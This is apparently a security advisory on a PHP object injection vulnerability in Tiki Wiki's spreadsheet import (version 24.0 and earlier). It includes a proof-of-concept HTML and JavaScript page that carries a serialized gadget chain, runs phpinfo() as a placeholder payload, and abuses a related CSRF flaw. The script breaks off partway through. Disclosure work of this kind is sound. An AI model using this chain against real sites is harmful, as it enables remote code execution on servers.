[-] Affected Versions:

Version 24.0 and prior versions.


[-] Vulnerability Description:

The vulnerability is located in the /lib/sheet/grid.php script,specifically into the TikiSheetSerializeHandler::_load() method, whichis using the unserialize() PHP function with user-controlled input. Thiscan be exploited by malicious users to inject arbitrary PHP objects intothe application scope, allowing them to perform a variety of attacks,such as executing arbitrary PHP code. Successful exploitation of thisvulnerability requires the “Spreadsheets” feature to be enabled and anaccount with permissions to create a new sheet. However, due to the CSRFvulnerability described in KIS-2023-01, this vulnerability might also beexploited by tricking a victim user into opening a web page like thefollowing:


<html>

<form action="http://localhost/tiki/tiki-import_sheet.php?sheetId=1";method="POST" enctype="multipart/form-data"><input type="hidden" name="handler" value="TikiSheetSerializeHandler"/>

  <input type="file" name="file" id="fileinput"/>
 </form>
 <script>

const popChain ='O:25:"Search_Elastic_Connection":1:{S:31:"\00Search_Elastic_Connection\00bulk";O:28:"Search_Elastic_BulkOperation":3:{S:35:"\00Search_Elastic_BulkOperation\00count";i:1;S:38:"\00Search_Elastic_BulkOperation\00callback";S:14:"call_user_func";S:36:"\00Search_Elastic_BulkOperation\00buffer";a:2:{i:0;O:22:"Tracker_Field_Computed":3:{S:32:"\00Tracker_Field_Abstract\00itemData";a:1:{S:6:"itemId";i:1;}S:31:"\00Tracker_Field_Abstract\00options";O:15:"Tracker_Options":1:{S:21:"\00Tracker_Options\00data";a:1:{S:7:"formula";S:14:"null;phpinfo()";}}S:41:"\00Tracker_Field_Abstract\00trackerDefinition";O:18:"Tracker_Definition":0:{}}i:1;S:12:"getFieldData";}}}';

  const fileInput = document.getElementById("fileinput");
  const dataTransfer = new DataTransfer();
  const file = new File([popChain], "test");
  dataTransfer.items.add(file);
  fileInput.files = dataTransfer.files;
